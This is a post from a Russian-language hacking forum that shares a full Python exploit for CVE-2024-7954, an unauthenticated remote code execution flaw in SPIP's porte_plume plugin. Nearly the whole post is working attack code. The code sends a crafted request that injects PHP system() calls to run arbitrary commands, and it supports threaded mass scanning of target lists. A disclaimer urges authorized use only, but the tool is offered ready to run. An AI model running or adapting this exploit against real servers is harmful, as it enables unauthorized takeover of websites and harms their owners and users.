• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2024-7954 unauthenticated RCE on SPIP targets

Wolverine

(L2) cache
Пользователь
Регистрация
18.01.2022
Сообщения
411
Реакции
257
Гарант сделки
4
The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.
Код:
https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
Код:
https://github.com/bigb0x/CVE-2024-7954
Python:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
CVE-2024-7954

This exploit will attempt to execute system commands on SPIP targets.

Usage:
    single target:CVE-2024-7954.py -u https://target:9090 -c id
    bulk targets:CVE-2024-7954.py -f file.txt -c id
    -c default command is 'id'

Credit:
    This tool is based on this security research: https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/

Disclaimer:
    I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.

Tool Author: x.com/MohamedNab1l                                                                             
GitHub: https://github.com/bigb0x/CVE-2024-7954
"""

import argparse
import requests
import re
import os
import threading
import queue
import signal
import sys
from datetime import datetime
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ANSI color codes
light_orange_color = '\033[38;5;214m'
dimmed_gray_color = '\033[90m'
cyan_color = '\033[96m'
HONEY_YELLOW = '\033[38;5;214m'
LIGHT_GRAY = '\033[37;1m'
GREEN = '\033[92m'
RED = '\033[31m'
RESET = '\033[0m'

LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')

def signal_handler(sig, frame):
    print_message('error', "\nCtrl+C pressed. Exiting gracefully...")
    sys.exit(1)

signal.signal(signal.SIGINT, signal_handler)

def banner():
    print(f'''{HONEY_YELLOW}
░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── ▀▀▀█ ▄▀▀▄ █▀▀ ─█▀█─
░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ──█─ ▀▄▄█ ▀▀▄ █▄▄█▄
░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── ─▐▌─ ─▄▄▀ ▄▄▀ ───█─{RESET}
          
{HONEY_YELLOW}-> {LIGHT_GRAY}Exploit tool for SPIP 4.2.8 CVE-2024-7954.{RESET}
{HONEY_YELLOW}-> {LIGHT_GRAY}Use responsibly and only on authorized systems.{RESET}
{HONEY_YELLOW}-> {dimmed_gray_color}By: x.com/MohamedNab1l{RESET}
''')

def create_log_dir():
    if not os.path.exists(LOG_DIR):
        os.makedirs(LOG_DIR)
        print_message('info', f"Log directory created: {LOG_DIR}")

def log_message(message):
    with open(LOG_FILE, 'a') as log_file:
        log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")

def print_message(level, message):
    if level == 'vulnerable':
        print(f"{light_orange_color}[vlun] {message}{RESET}")
    if level == 'info':
        print(f"{dimmed_gray_color}[info] {message}{RESET}")
    elif level == 'warning':
        print(f"{cyan_color}[info] {message}{RESET}")
    elif level == 'error':
        print(f"{RED}[error] {message}{RESET}")
    log_message(message)

def clean_host(url):
    parsed_url = urlparse(url)
    host = parsed_url.netloc or parsed_url.path
    host = re.sub(r'^www\.', '', host)
    host = re.sub(r'/$', '', host)
    return host

# Here we go.
def send_poc_request(url, command=None):
    full_url = f"{url}/index.php?action=porte_plume_previsu"
    headers = {
        "Host": clean_host(url),
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    
    if command:
        payload = f"data=AA_[<img111111>->URL`<?php system('{command}'); ?>`]_BB"
    else:
        print_message('error', "Command must be provided")
        return
    
    try:
        response = requests.post(full_url, headers=headers, data=payload, timeout=50, verify=False)
        if response.status_code == 200:
            match = re.search(r'dir="ltr">([^<]+)', response.text)
            if match:
                output = match.group(1).strip()
                output = output.split('" class=""')[0]
                print_message('vulnerable', f"Target is vulnerable: {clean_host(url)}")
                print_message('info', f"{clean_host(url)}: {HONEY_YELLOW}{output}{RESET}")
                #print_message('info', f"Command output: {url}: {HONEY_YELLOW}{output}{RESET}")
            else:
                print_message('info', f"Target may not be vulnerable: {url}")
        else:
            print_message('info', f"Target may not be vulnerable: {url}")
    except requests.exceptions.RequestException as e:
        print_message('error', f"Failed to send request!: {url}")
        #print_message('error', f"An error occurred: {e}")


def worker(queue, command=None):
    while not queue.empty():
        url = queue.get()
        print_message('info', f"Testing {url}")
        send_poc_request(url, command)
        queue.task_done()

# Version: 1.0.4
def main():
    banner()
    parser = argparse.ArgumentParser(description='POC for SPIP 4.2.8 vulnerability')
    parser.add_argument('-u', help='Target URL, example http://target:9090')
    parser.add_argument('-f', help='File containing list of URLs (one per line)')
    parser.add_argument('-c', help='Command to execute on the target, default is id', default='id')
    
    args = parser.parse_args()

    create_log_dir()
    
    if args.f:
        with open(args.f, 'r') as file:
            urls = [line.strip() for line in file if line.strip()]
        
        url_queue = queue.Queue()
        for url in urls:
            url_queue.put(url)

        thread_count = min(10, len(urls))
        threads = []
        for _ in range(thread_count):
            t = threading.Thread(target=worker, args=(url_queue, args.c))
            t.daemon = True
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        print_message('info', "Scanning complete.")
    elif args.u:
        send_poc_request(args.u, command=args.c)
    else:
        parser.error("Either -u or -f must be provided")

if __name__ == "__main__":
    main()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх